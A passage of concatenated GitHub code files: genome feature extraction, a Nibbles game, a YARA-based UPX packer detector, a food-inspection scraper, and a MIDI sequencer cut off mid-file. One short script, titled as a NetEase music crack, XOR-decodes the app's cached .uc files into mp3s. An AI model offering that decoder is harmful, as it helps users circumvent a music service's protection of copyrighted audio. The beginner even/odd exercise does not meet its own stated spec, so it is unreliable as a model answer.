>1_345_920_- yields contig: >1, start: 345, stop: 920,\n # direction: -\n contig, start, stop, direction = line.split('_')\n # The size of the ORF is the end position minus the start position e.g. 920 - 345 = 575\n size = int(stop) - int(start)\n # Increment the total number of ORFs before binning based on ORF size\n total_orfs += 1\n # Increment the appropriate integer based on ORF size\n if size > 3000:\n over_3000 += 1\n elif size > 1000:\n over_1000 += 1\n elif size > 500:\n over_500 += 1\n else:\n other += 1\n # Populate the dictionary with a tuple of the ORF size range frequencies\n orf_dist_dict[file_name] = (total_orfs,\n over_3000,\n over_1000,\n over_500,\n other)\n # Clean-up the prodigal reports\n try:\n os.remove(orf_report)\n except IOError:\n pass\n return orf_dist_dict\n\n\ndef reporter(gc_dict, contig_dist_dict, longest_contig_dict, genome_length_dict, num_contigs_dict, n50_dict, n75_dict,\n n90_dict, l50_dict, l75_dict, l90_dict, orf_dist_dict, genus_dict, sequencepath):\n \"\"\"\n Create a report of all the extracted features\n :param gc_dict: dictionary of strain name: GC%\n :param contig_dist_dict: dictionary of strain: tuple of contig distribution frequencies\n :param longest_contig_dict: dictionary of strain name: longest contig\n :param genome_length_dict: dictionary of strain name: total genome length\n :param num_contigs_dict: dictionary of strain name: total number of contigs\n :param n50_dict: dictionary of strain name: N50\n :param n75_dict: dictionary of strain name: N75\n :param n90_dict: dictionary of strain name: N90\n :param l50_dict: dictionary of strain name: L50\n :param l75_dict: dictionary of strain name: L75\n :param l90_dict: dictionary of strain name: L90\n :param orf_dist_dict: dictionary of strain name: tuple of ORF length frequencies\n :param genus_dict: dictionary of strain name: genus\n :param sequencepath: path of folder containing FASTA genomes\n \"\"\"\n # Initialise string with header information\n data = 'SampleName,TotalLength,NumContigs,LongestContig,Contigs>1000000,Contigs>500000,Contigs>100000,' \\\n 'Contigs>50000,Contigs>10000,Contigs>5000,Contigs<5000,TotalORFs,ORFs>3000,ORFs>1000,ORFs>500,' \\\n 'ORFs<500,N50,N75,N90,L50,L75,L90,GC%,Genus\\n'\n # Create and open the report for writign\n with open(os.path.join(sequencepath, 'extracted_features.csv'), 'w') as feature_report:\n for file_name in sorted(longest_contig_dict):\n # Populate the data string with the appropriate values\n data += '{name},{totlen},{numcontigs},{longestcontig},{over_106},{over_56},{over_105},{over_55},' \\\n '{over_104},{over_54},{under_54},{tORFS},{ORF33},{ORF13},{ORF52}, {ORF11},{n50},{n75},{n90},' \\\n '{l50},{l75},{l90},{gc},{genus}\\n'\\\n .format(name=file_name,\n totlen=genome_length_dict[file_name],\n numcontigs=num_contigs_dict[file_name],\n longestcontig=longest_contig_dict[file_name],\n over_106=contig_dist_dict[file_name][0],\n over_56=contig_dist_dict[file_name][1],\n over_105=contig_dist_dict[file_name][2],\n over_55=contig_dist_dict[file_name][3],\n over_104=contig_dist_dict[file_name][4],\n over_54=contig_dist_dict[file_name][5],\n under_54=contig_dist_dict[file_name][6],\n tORFS=orf_dist_dict[file_name][0],\n ORF33=orf_dist_dict[file_name][1],\n ORF13=orf_dist_dict[file_name][2],\n ORF52=orf_dist_dict[file_name][3],\n ORF11=orf_dist_dict[file_name][4],\n n50=n50_dict[file_name],\n n75=n75_dict[file_name],\n n90=n90_dict[file_name],\n l50=l50_dict[file_name],\n l75=l75_dict[file_name],\n l90=l90_dict[file_name],\n gc=gc_dict[file_name],\n genus=genus_dict[file_name])\n # Write the string to file\n feature_report.write(data)\n\n\n# Initialise the click decorator\n@click.command()\n@click.option('-s', '--sequencepath',\n type=click.Path(exists=True),\n required=True,\n help='Path of folder containing multi-FASTA files')\n@click.option('-d', '--refseq_database',\n type=click.Path(exists=True),\n required=True,\n help='Path to reduced mash sketch of RefSeq.')\n@click.option('-r', '--report',\n is_flag=True,\n default=True,\n help='By default, a report of the extracted features is created. Include this flag if you do not want '\n 'a report created')\ndef cli(sequencepath, report, refseq_database):\n \"\"\"\n Pass command line arguments to, and run the feature extraction functions\n \"\"\"\n main(sequencepath, report, refseq_database, num_threads=multiprocessing.cpu_count())\n\n\nif __name__ == '__main__':\n cli()\n","repo_name":"OLC-LOC-Bioinformatics/GenomeQAML","sub_path":"genomeqaml/extract_features.py","file_name":"extract_features.py","file_ext":"py","file_size_in_byte":25254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39024880197","text":"import sys\n\nfrom setuptools import find_packages, setup\n\nsys.path.insert(0, \"protera_stability\")\nimport protera_stability\n\nwith open(\"README.md\", \"r\", encoding=\"utf-8\") as fh:\n long_description = fh.read()\n\nsetup(\n name=\"protera_stability\",\n version=\"0.0.1\",\n author=\"Victor Faraggi\",\n author_email=\"victor.faraggi@ug.uchile.cl\",\n description=\"Tools used for the Protein Stability Prediction project.\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/stepp1/protera-stability\",\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n ],\n # package_dir={\"\": \"src\"},\n packages=find_packages(),\n python_requires=\">=3.6\",\n install_requires=[\n \"h5py\",\n \"pandas\",\n \"numpy\",\n \"tqdm\",\n \"torch>=1.6.0\",\n \"torchmetrics\",\n \"pytorch_lightning\",\n \"scikit-learn\",\n \"joblib\",\n \"cloudpickle\",\n \"omegaconf>=2.1\",\n \"hydra-core>=1.1\",\n ],\n)\n","repo_name":"stepp1/protera-stability","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1118,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"37117371608","text":"'''\nQ.No.3 Write a function called showNumbers that takes a parameter called limit. It\nshould print all the numbers between 0 and limit with a label to identify the even and\nodd numbers. For example, if the limit is 3, it should print:\n 0 EVEN\n 1 ODD\n 2 EVEN\n'''\ndef showNumber(limit):\n for i in range(0,limit):\n if i%2==0:\n print('even')\n else:\n print('odd')\n return\nshowNumber(3)","repo_name":"manjesh41/project3","sub_path":"3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"6412845577","text":"import os\nimport pathlib\nfrom random import Random\nfrom nibbles.level.level_parsers.level_parser_builder import LevelParserBuilder\nfrom nibbles.directions import Directions\nfrom nibbles.snake_body import SnakeBody\nfrom nibbles.snake import Snake\nfrom nibbles.ai import Ai\nfrom nibbles.food import Food\nfrom nibbles.level import Level\n\n\nclass Nibbles:\n def __init__(self, snake_colors: list, board_width, board_height, initial_game_difficulty, number_of_players,\n number_of_ai, ai_difficulty_level, level_parser_type, initial_level_number, skip_intro):\n \"\"\"\n :param: snake_colors: A list of unique colors that the snakes can be, must be 8\n :param: board_width: The width of the game board\n :param: board_height: The height of the game board\n :param: initial_game_difficulty: A multiplier that speeds up or slows down game play\n :param: number_of_players: The number of human players, must be 2 or less\n :param: number_of_ai: The number of AI players, must be 6 or less\n :param: ai_difficulty level: The AiDifficultyLevel to set the AI to\n :param: level_parser_type: The type of the level parser to use when parsing levels\n :param: initial_level_number: The index of the level to play\n :param: skip_intro: Determines whether the intro should be played\n \"\"\"\n self.stopped = False\n self.paused = True # Start paused to give the players some time to figure out where they are\n self.intro = not skip_intro\n self.intro_1 = self.intro\n self.intro_2_players = False\n self.intro_2_ai = False\n self.intro_2_difficulty = False\n self.snake_reset_needed = False\n self.loaded_level = None\n self.snake_colors = snake_colors\n self.available_colors = snake_colors.copy()\n self.board_width = board_width\n self.board_height = board_height\n self.game_difficulty = initial_game_difficulty\n self.number_of_players = number_of_players\n self.number_of_ai = number_of_ai\n self.ai_difficulty_level = ai_difficulty_level\n self.collision_map = []\n self.snakes = []\n self.killed_snakes = []\n self.levels = self.parse_levels(level_parser_type)\n self.level_number = initial_level_number\n self.food = None\n\n @property\n def snake_colors(self):\n return self._snake_colors\n\n @snake_colors.setter\n def snake_colors(self, snake_colors):\n if len(snake_colors) != 8:\n raise ValueError(\"snake colors must contain 8 colors\")\n self._snake_colors = snake_colors\n\n @property\n def levels(self):\n return self._levels\n\n @levels.setter\n def levels(self, levels):\n if len(levels) == 0 or not isinstance(levels[0], Level):\n raise ValueError(\"levels must contain at least one level\")\n self._levels = levels\n\n @property\n def board_width(self):\n return self._board_width\n\n @board_width.setter\n def board_width(self, board_width):\n if not isinstance(board_width, int):\n raise ValueError(\"board width must be an integer\")\n if board_width < 1:\n raise ValueError(\"board width must be greater than or equal to 1\")\n self._board_width = board_width\n\n @property\n def board_height(self):\n return self._board_height\n\n @board_height.setter\n def board_height(self, board_height):\n if not isinstance(board_height, int):\n raise ValueError(\"board height must be an integer\")\n if board_height < 1:\n raise ValueError(\"board height must be greater than or equal to 1\")\n self._board_height = board_height\n\n @property\n def game_difficulty(self):\n return self._game_difficulty\n\n @game_difficulty.setter\n def game_difficulty(self, game_difficulty):\n if not isinstance(game_difficulty, float):\n raise ValueError(\"game difficulty must be a float\")\n if game_difficulty <= 0:\n raise ValueError(\"game difficulty must be greater than 0\")\n self._game_difficulty = game_difficulty\n\n @property\n def number_of_players(self):\n return self._number_of_players\n\n @number_of_players.setter\n def number_of_players(self, number_of_players):\n if not isinstance(number_of_players, int):\n raise ValueError(\"number of players must be an integer\")\n if number_of_players < 0:\n raise ValueError(\"number of players must be non-negative\")\n self._number_of_players = number_of_players\n\n @property\n def number_of_ai(self):\n return self._number_of_ai\n\n @number_of_ai.setter\n def number_of_ai(self, number_of_ai):\n if not isinstance(number_of_ai, int):\n raise ValueError(\"number of AI must be an integer\")\n if number_of_ai < 0:\n raise ValueError(\"number of AI must be non-negative\")\n self._number_of_ai = number_of_ai\n\n def create_collision_map(self):\n \"\"\"\n Creates a 3D collision map\n\n :return: A 3D collision map\n \"\"\"\n return [[[] for _ in range(self.board_height)] for _ in range(self.board_width)]\n\n def parse_levels(self, level_parser_type):\n \"\"\"\n Parses levels from level resource folder using the specified level parser type\n\n :param level_parser_type: The level parser type to use\n :return: Parsed levels\n \"\"\"\n level_parser_builder = LevelParserBuilder(level_parser_type)\n level_parser = level_parser_builder.build()\n nibbles_file_path = pathlib.Path(os.path.abspath(__file__)).parent\n nibbles_file_path.resolve()\n level_dir = nibbles_file_path.joinpath('resources/levels')\n level_parser.set_data_source(self.board_width, self.board_height, level_dir)\n return level_parser.parse_levels()\n\n def place_coordinate_into_collision_map(self, coordinate):\n \"\"\"\n Places a coordinate into the collision map\n\n :param coordinate: The coordinate to place into to the collision map\n \"\"\"\n self.collision_map[coordinate.column][coordinate.row].append(coordinate)\n\n def remove_coordinate_from_collision_map(self, coordinate):\n \"\"\"\n Removes a coordinate from the collision map\n\n :param coordinate: The coordinate to remove from the collision map\n \"\"\"\n self.collision_map[coordinate.column][coordinate.row].remove(coordinate)\n\n def initialize_barriers(self):\n \"\"\"\n Places the barriers from the currently loaded level into the collision map\n \"\"\"\n for barrier in self.loaded_level.barriers:\n self.place_coordinate_into_collision_map(barrier)\n\n def find_random_food_spawn(self):\n \"\"\"\n Finds a random food spawn location that is not taken by any other game object\n\n :return: A random food spawn coordinate that is not taken by any other game object\n \"\"\"\n random = Random()\n food_spawns = []\n for spawn in self.loaded_level.food_spawns:\n if len(self.collision_map[spawn.column][spawn.row]) == 0:\n food_spawns.append(spawn)\n if len(food_spawns) == 0:\n raise RuntimeError(\"Can't locate a valid spawn\")\n return random.choice(food_spawns)\n\n def create_food(self):\n \"\"\"\n Creates a new food item\n\n :return: The new food item\n \"\"\"\n random = Random()\n food = Food(points=random.randint(1, 9))\n temp_coord = self.find_random_food_spawn()\n food.row = temp_coord.row\n food.column = temp_coord.column\n return food\n\n def reserve_random_color(self):\n \"\"\"\n Returns a random choice from the available colors list and removes it from the list\n\n :return: A random choice from the available colors list and removes it from the list\n \"\"\"\n random = Random()\n return self.available_colors.pop(random.randint(0, len(self.available_colors) - 1))\n\n def initialize_snakes(self):\n \"\"\"\n Creates snakes and spawns them at the locations defined by the currently loaded level\n\n :param: number_of_players: Number of human players\n :param: number_of_ai: Number of AI\n \"\"\"\n number_of_defined_spawns = len(self.loaded_level.initial_snake_head_spawns)\n if number_of_defined_spawns != 8:\n raise RuntimeError(\"Level does not contain 8 snake spawns\")\n number_of_snakes_to_spawn = self.number_of_players + self.number_of_ai\n for i in range(number_of_snakes_to_spawn):\n head_spawn_coord = self.loaded_level.initial_snake_head_spawns[i]\n head = SnakeBody(head_spawn_coord.row, head_spawn_coord.column)\n self.snakes.append(Snake(head, self.reserve_random_color()))\n self.place_coordinate_into_collision_map(head)\n\n def initialize_level(self):\n \"\"\"\n Loads the currently selected level number into the game\n \"\"\"\n self.collision_map = self.create_collision_map()\n for level in self.levels:\n if level.number == self.level_number:\n self.loaded_level = level\n if not self.loaded_level:\n raise RuntimeError(\"tried to load level {0} which doesn't exist\".format(self.level_number))\n self.initialize_barriers()\n self.initialize_snakes()\n for x in range(len(self.snakes)):\n if x < self.number_of_players:\n self.snakes[x].player_number = x + 1\n self.snakes[x].lives = 5\n else:\n self.snakes[x].on_update_direction = Ai.resolve_difficulty_level(self.ai_difficulty_level)\n self.snakes[x].lives = 2 # these guys are hard, give them less chances to make me cry\n self.food = self.create_food()\n self.place_coordinate_into_collision_map(self.food)\n\n def reset_snakes(self):\n \"\"\"\n Resets snake sizes and locations back to how they were at the beginning of the level\n \"\"\"\n self.paused = True\n self.snake_reset_needed = False\n for snake_index in range(len(self.snakes)):\n self.remove_snake_from_collision_map(self.snakes[snake_index])\n self.snakes[snake_index].reset()\n head_spawn_coord = self.loaded_level.initial_snake_head_spawns[snake_index]\n self.snakes[snake_index].head.row = head_spawn_coord.row\n self.snakes[snake_index].head.column = head_spawn_coord.column\n self.place_coordinate_into_collision_map(self.snakes[snake_index].head)\n\n def update_snake_position(self, snake):\n \"\"\"\n Updates the given snake's position in the playable area\n\n :param: The snake to update the position of\n \"\"\"\n if snake.direction_to_move == Directions.OPPOSITE_DIRECTIONS[snake.last_direction_moved]:\n snake.direction_to_move = snake.last_direction_moved\n end_piece = snake.body.pop(-1)\n self.remove_coordinate_from_collision_map(end_piece)\n end_piece.row = snake.head.row\n end_piece.column = snake.head.column\n snake.body.insert(0, end_piece)\n snake.head = end_piece\n snake.head.row += snake.direction_to_move[1]\n snake.head.row = self.board_height - 1 if snake.head.row < 0 else snake.head.row % self.board_height\n snake.head.column += snake.direction_to_move[0]\n snake.head.column = self.board_width - 1 if snake.head.column < 0 else snake.head.column % self.board_width\n self.place_coordinate_into_collision_map(snake.head)\n snake.last_direction_moved = snake.direction_to_move\n\n def increase_snake_length(self, snake):\n \"\"\"\n Increases the length of the given snake\n\n :param snake: The snake to increase the length of\n \"\"\"\n new_tail = SnakeBody(snake.body[-1].row, snake.body[-1].column)\n snake.body.append(new_tail)\n self.place_coordinate_into_collision_map(new_tail)\n\n def remove_snake_from_collision_map(self, snake):\n \"\"\"\n Removes the given snake from the collision map\n\n :param snake: The snake to remove from the collision map\n \"\"\"\n for body_piece in snake.body:\n self.remove_coordinate_from_collision_map(body_piece)\n\n def should_snake_lose_life(self, snake):\n \"\"\"\n Checks if the current snake should lose a life\n\n :param: snake: The snake to check for death\n :return: A boolean representing if the snake should lose a life\n \"\"\"\n head_playable_space = self.collision_map[snake.head.column][snake.head.row]\n if len(head_playable_space) > 1:\n for coord in head_playable_space:\n if coord != self.food and coord != snake.head:\n return True\n return False\n\n def update(self):\n \"\"\"\n The main game logic that updates each frame\n \"\"\"\n self.killed_snakes.clear()\n for snake in self.snakes:\n self.update_snake_position(snake)\n if self.should_snake_lose_life(snake):\n snake.lose_life()\n self.killed_snakes.append(snake)\n self.snake_reset_needed = True\n if snake.head.coordinates_equal(self.food):\n for i in range(self.food.points):\n self.increase_snake_length(snake)\n snake.score += self.food.points\n self.remove_coordinate_from_collision_map(self.food)\n self.food = self.create_food()\n self.place_coordinate_into_collision_map(self.food)\n for snake in self.killed_snakes:\n if not snake.alive:\n self.remove_snake_from_collision_map(snake)\n self.snakes.remove(snake)\n self.stopped = len(self.snakes) == 0 # game over\n","repo_name":"umbreon222/NibblesClone","sub_path":"src/nibbles/nibbles.py","file_name":"nibbles.py","file_ext":"py","file_size_in_byte":13886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19920640146","text":"import json\nimport difflib\nfrom numpy import *\nimport yara\nimport binascii\nimport os\n\ndef sim(filePath1,filePath2,fre=0.9,sim=0.95):\n f1 = open(filePath1, \"r\")\n f2 = open(filePath2, \"r\")\n l1 = json.load(f1)\n l2 = json.load(f2)\n blockPairs = []\n ruleStrs = []\n k = 0\n l3 = [l for l in l2]\n for i in range(len(l1)):\n for j in range(min(10, len(l3))):\n similarity = difflib.SequenceMatcher(None, l1[i][0], l3[j][0]).ratio()\n print(i,k+j,similarity)\n if similarity > sim:\n blockPairs.append([i, k + j, l1[i][1]])\n l3.remove(l3[j])\n k += 1\n break\n for blockPair in blockPairs:\n rule=\"\"\n indexs = difflib.SequenceMatcher(None, l1[blockPair[0]][2], l2[blockPair[1]][2]).get_matching_blocks()\n if indexs[0][2]==1:\n indexs.remove(indexs[0])\n for i in range(len(indexs)-1):\n gap1 = indexs[i + 1][0] - indexs[i][0] - indexs[i][2]\n gap2 = indexs[i + 1][1] - indexs[i][1] - indexs[i][2]\n rule += l1[blockPair[0]][2][indexs[i][0]:indexs[i][0] + indexs[i][2]]\n if i!=len(indexs)-2:\n if gap1 == gap2:\n for k in range(gap1):\n rule += \"?\"\n else:\n rule += \"[\" + str(min(gap1, gap2)) + \"-\" + str(max(gap1, gap2)) + \"]\"\n ruleStrs.append([rule,blockPair[2]])\n return ruleStrs\n\ndef processRules(ruleStrs,yaraPath):\n processResult={}\n fullReverse={}#完全匹配的反向字典\n for str in ruleStrs:\n leftBrackets = [i for i in range(len(str[0])) if str[0][i] == '[']\n rightBrackets = [i for i in range(len(str[0])) if str[0][i] == ']']\n Brackets=[(leftBrackets[i],rightBrackets[i]) for i in range(len(leftBrackets))]\n hexStrs=[(rightBrackets[i]+1,leftBrackets[i+1]-1) for i in range(len(Brackets)-1)]\n gapLen=0\n if len(Brackets)>0:\n hexStrs.insert(0,(0,leftBrackets[0]-1))\n hexStrs.append((rightBrackets[-1]+1,len(str[0])-1))\n goodRule=True\n processed = \"\"\n if len(Brackets)==0:\n for i in range(len(str[0])//2):\n processed += (str[0][2 * i:2 * i + 2] + \" \")\n for i in range(len(str[0])):\n if str[0][i]==\"?\":\n gapLen+=1\n if len(str[0])>15:\n processResult[processed]=[str[1],len(str[0]),gapLen]\n fullReverse[processed.replace(\" \",\"\")]=processed\n else:\n if len(Brackets)>1:\n for hs in range(1,len(Brackets)):\n if hexStrs[hs][1]-hexStrs[hs][0]==0:\n goodRule=False\n break\n if not goodRule:\n continue\n else:\n for hs in range(len(Brackets)):\n if (hexStrs[hs][1]-hexStrs[hs][0])%2:#偶数\n # processed += str[0][hexStrs[hs][0]:hexStrs[hs][1] + 1]\n for i in range((hexStrs[hs][1]-hexStrs[hs][0]+1) // 2):\n processed+=(str[0][hexStrs[hs][0]+2*i:hexStrs[hs][0]+2*i+2]+\" \")\n lrb = str[0][Brackets[hs][0] + 1:Brackets[hs][1]]\n processed += (str[0][Brackets[hs][0]:Brackets[hs][1]+1]+\" \")\n gapLen+=int(lrb.split(\"-\")[1])\n else:#奇数\n for i in range((hexStrs[hs][1]-hexStrs[hs][0]) // 2):\n processed+=(str[0][hexStrs[hs][0]+2*i:hexStrs[hs][0]+2*i+2]+\" \")\n lrb=str[0][Brackets[hs][0]+1:Brackets[hs][1]]\n lrb2=\"[\"+'%d'%(int(lrb.split(\"-\")[0])+1)+\"-\"+'%d'%(int(lrb.split(\"-\")[1])+1)+\"] \"\n processed+=lrb2\n gapLen+=int(lrb.split(\"-\")[1])+1\n if hexStrs[-1][1]-hexStrs[-1][0]>0:\n if (hexStrs[-1][1]-hexStrs[-1][0])%2:\n processed+=str[0][hexStrs[-1][0]:hexStrs[-1][1]]\n else:\n processed += str[0][hexStrs[-1][0]:hexStrs[-1][1] + 1]\n if processed[-2]==\"]\" :\n pos = processed.rfind(\"[\")\n lrb = processed[pos+1:-2]\n gapLen -= int(lrb.split(\"-\")[1])\n processed=processed[0:pos]\n for i in range(len(processed)):\n if processed[i] == \"?\":\n gapLen += 1\n if len(processed) > 20:\n processResult[processed] = [str[1], len(processed), gapLen]\n return processResult,fullReverse\n\ndef genYar(rulePath,ruleName,strList,logic):\n f=open(rulePath,\"w\")\n f.write(\"rule \" + ruleName + \"\\n\")\n f.write(\"{\\n\")\n f.write(\"\\tstrings:\\n\")\n index = 0\n for i in strList:\n f.write(\"\\t\\t$str\" + str(index) + \"={\" + i + \"}\\n\")\n index += 1\n f.write(\"\\tcondition:\\n\")\n f.write(\"\\t\\t$str0\")\n for i in range(1,index):\n f.write(\" \"+logic+\" $str\"+str(i))\n f.write(\"\\n\")\n f.write(\"}\")\n f.write(\"\\n\")\n f.close()\n\ndef genRules(ruleDir,packerName,ruleDict):\n fullStr=[i for i in ruleDict if not ruleDict[i][2]]\n reStr=[[i] for i in ruleDict if ruleDict[i][2]]\n genYar(ruleDir+\"full.yar\",packerName,fullStr,\"or\")\n index=0\n for i in reStr:\n reName=\"temp\"+str(index)\n genYar(ruleDir+reName+\".yar\",reName,i,\"or\")\n index+=1\n return index\n\ndef check(ruleDir,processRes,fullReverse,index,configure):\n file1=open(ruleDir+\"full.yar\")\n rules = yara.compile(file=file1)\n file1.close()\n file2=open(ruleDir+\"p\"+str(configure+1)+\"_3.exe\",\"rb\")\n matches = rules.match(data=file2.read())\n file2.close()\n res = [binascii.b2a_hex(i[2]).decode() for i in matches[0].strings]\n checkRes={fullReverse[i]:processRes[fullReverse[i]] for i in res}\n for i in range(index):\n rulePath=ruleDir+\"temp\"+str(i)+\".yar\"\n file3=open(rulePath)\n rules = yara.compile(file=file3)\n file3.close()\n file4 = open(ruleDir + \"p\" + str(configure + 1) + \"_3.exe\", \"rb\")\n matches = rules.match(data=file4.read())\n file4.close()\n if len(matches):\n f=open(rulePath)\n strLine=f.readlines()[3]\n f.close()\n r=strLine[strLine.find(\"{\")+1:strLine.find(\"}\")]\n checkRes[r] = processRes[r]\n os.remove(ruleDir+\"full.yar\")\n for i in range(index):\n os.remove(ruleDir+\"temp\"+str(i)+\".yar\")\n return checkRes\n\n#规则筛选,规则长度,频率,gap距离,与中位数比较,\ndef chooseRule(checkRes):\n freq=[checkRes[f][0] for f in checkRes]\n ruleLen = [checkRes[f][1] for f in checkRes]\n gapLen = [checkRes[f][2] for f in checkRes]\n norFreq=normalizeData(freq)\n norRuleLen = normalizeData(ruleLen)\n norGapLen = normalizeData(gapLen)\n rules=[r for r in checkRes]\n score=[norFreq[i]*1+norRuleLen[i]*1-norGapLen[i]*1 for i in range(len(rules))]\n ruleScore=zip(rules,score)\n #排序\n sus = sorted(ruleScore, key=(lambda x: x[1]),reverse = True)\n choosed=[sus[i][0] for i in range(min(10,len(sus)))]\n return choosed\n\ndef normalizeData(data):\n dataSet=set(data)\n if len(dataSet)>1:\n theMin=min(data)\n theMax=max(data)\n norData=[(d-theMin)/(theMax-theMin) for d in data]\n return norData\n else:\n return [1]*len(data)\n\nif __name__==\"__main__\":\n sampleDir=\"D://work//yarpacker//examples//upx//\"\n configuration=9\n choosed=[]\n for i in range(configuration):\n packerName=\"upx\"+str(i+1)\n simPart=sim(sampleDir+\"p\"+str(i+1)+\"_1.json\", sampleDir+\"p\"+str(i+1)+\"_2.json\", 0.9)\n processRes, fullReverse = processRules(simPart, sampleDir)\n index = genRules(sampleDir, packerName, processRes)\n checkRes = check(sampleDir, processRes, fullReverse, index,i)\n if len(choosed):\n for cr in choosed:\n if cr not in choosed:\n choosed.append(cr)\n else:\n choosed=chooseRule(checkRes)\n genYar(sampleDir + \"upx.yar\", \"upx\", choosed, \"or\")\n\n","repo_name":"weak-dog/yarpacker","sub_path":"similarity.py","file_name":"similarity.py","file_ext":"py","file_size_in_byte":8197,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39926996055","text":"\"\"\"\nScript for scraping Toledo-Lucas County Department of Health food facility\ninspection data (rough draft).\n\"\"\"\n\nfrom bs4 import BeautifulSoup\nfrom datetime import datetime\nimport requests\nimport csv\n\nDATETIME = datetime.now().strftime(\"%Y-%m-%d-%H-%M-%S\")\nFACILTIIES_FILE_NAME = 'health_dept_facilites-' + DATETIME + '.csv'\nINSPECTIONS_FILE_NAME = 'health_dept_inspections-' + DATETIME + '.csv'\nWESBSITE_PREFIX = 'https://healthspace.com'\nEXTENDED_PREFIX ='https://healthspace.com/Clients/Ohio/Toledo-Lucas/web.nsf/'\nHEALTH_DEPARTMENT_FOOD_FACILITY_LINKS = [\n EXTENDED_PREFIX + 'Food-ByInspectionDate?OpenView&Count=1001',\n EXTENDED_PREFIX + 'Food-ByInspectionDate?OpenView&Count=1000&start=1001',\n EXTENDED_PREFIX + 'Food-ByInspectionDate?OpenView&Count=1000&start=2001'\n]\n\ndef get_column_headers(dictionary):\n \"Returns dictionary keys for use as csv file column headers.\"\n return dictionary[0].keys()\n\ndef get_facilities(links):\n \"Returns a list of food inspection facilites.\"\n food_facilities = []\n for link in links:\n parsed_website = get_parsed_website(link)\n table = parsed_website.find('tbody')\n for table_row in table.find_all('tr'):\n row_data = table_row.find_all('td')\n facility = {}\n facility['FacilityName'] = row_data[0].text\n facility['FacilityLink'] = WESBSITE_PREFIX + get_href(table_row)\n facility['Address'] = row_data[1].text\n facility['LastInspectionDate'] = row_data[2].text\n food_facilities.append(facility)\n return food_facilities\n\ndef get_href(table_row):\n \"Returns table row's href link.\"\n return table_row.find('a', href=True)['href']\n\ndef get_inspections(links):\n \"Returns a list of facility inspections.\"\n food_inspections = []\n for link in links:\n parsed_website = get_parsed_website(link)\n tables = [table for table in parsed_website.find_all('table')]\n first_table = tables[0].find_all('td')\n second_table = tables[1].find_all('td')\n for table_row in tables[4].find_all('tr'):\n inspection = {}\n row_data = table_row.find_all('td')\n inspection['FacilityName'] = utf8(first_table[1].text)\n inspection['FacilityLocation'] = utf8(first_table[3].text)\n inspection['FacilityType'] = utf8(second_table[1].text)\n inspection['FacilityRiskRating'] = utf8(second_table[3].text)\n inspection['Link'] = utf8(EXTENDED_PREFIX + get_href(table_row))\n inspection['InspectionDate'] = utf8(row_data[1].text[2:])\n inspection['Criticals'] = utf8(row_data[2].text.split('c')[0])\n inspection['NonCriticals'] = utf8(get_non_criticals(row_data))\n inspection['FacilityPhone'] = utf8(second_table[5].text)\n food_inspections.append(inspection)\n return food_inspections\n\ndef get_non_criticals(table_row): \n \"Returns number of non-critical inspection violations.\"\n return table_row[2].text.split('&')[1].split('n')[0]\n \ndef get_parsed_website(link):\n \"Returns parsed html of link.\"\n return BeautifulSoup(requests.get(link).text, 'lxml')\n\ndef utf8(text):\n \"Returns utf-8 encoded text.\"\n return u''.join((text)).encode('utf-8').strip()\n\ndef write_dictionaries_to_csv(file_name, dictionaries):\n \"Write dictionary to csv file.\"\n with open(file_name, 'wb') as output:\n dict_writer = csv.DictWriter(output, get_column_headers(dictionaries))\n dict_writer.writeheader()\n dict_writer.writerows(dictionaries)\n\nfacilities = get_facilities(HEALTH_DEPARTMENT_FOOD_FACILITY_LINKS)\nwrite_dictionaries_to_csv(FACILTIIES_FILE_NAME, facilities)\ninspection_links = [facility['FacilityLink'] for facility in facilities]\ninspections = get_inspections(inspection_links)\nwrite_dictionaries_to_csv(INSPECTIONS_FILE_NAME, inspections)\n","repo_name":"vaogun/food-inspection-scraping","sub_path":"tlcdh_food_facility_scrape.py","file_name":"tlcdh_food_facility_scrape.py","file_ext":"py","file_size_in_byte":3871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6180986322","text":"import os\r\n\r\ndef crash(target):\r\n txt1=open(target,'rb')\r\n name=target.split('.')[:-1]\r\n name=\".\".join(name)\r\n name+='.mp3'\r\n txt2=open(name,'wb')\r\n key=163\r\n for i in txt1.read():\r\n i=bytes([i^key])\r\n txt2.write(i)\r\n txt1.close()\r\n txt2.flush()\r\n txt2.close()\r\n print('finish')\r\n\r\nwhile 1:\r\n try:\r\n target=input(\"\")\r\n if target!='1': \r\n crash(target)\r\n else:\r\n cwd=os.getcwd()\r\n for i,j,k in os.walk(cwd):\r\n print(k)\r\n print(len(k))\r\n ta=k\r\n for i in ta:\r\n if i.split('.')[-1]=='uc':\r\n crash(i)\r\n print('all finish')\r\n except Exception as err:\r\n print(err)\r\n \r\n","repo_name":"gftv/backup1","sub_path":"网易音乐破解.py","file_name":"网易音乐破解.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"559938197","text":"import threading\nimport time\nimport Queue\nimport jack\nfrom util import nanosleep\nfrom models import Sequence\n\njack.attach(\"dseq\")\n\ndef get_time():\n return float(jack.get_current_transport_frame()) / jack.get_sample_rate()\n\n#testing state set/get\ndef get_state():\n return jack.get_transport_state()\n\ntime.sleep = nanosleep.nanosleep\nTICKS_PER_BEAT = 24\n\nclass PlayerThreadSong(threading.Thread):\n def __init__(self, conn): \n threading.Thread.__init__(self)\n #Position means pattern if playing a channel, or cursor pos if playing pattern \n self.__pos = 0\n self.__conn = conn\n self.__quit = False\n self.__playing = False\n self.__repeat = False\n \n def play(self, data, bpm, repeat = False):\n \n self.__conn.refresh_connections()\n\n def set_data(self, data):\n self.__data = data\n\n def set_bpm(self, bpm):\n self.time_tick = (1./TICKS_PER_BEAT)/(bpm/60.0)\n\n def set_repeat(self, repeat):\n 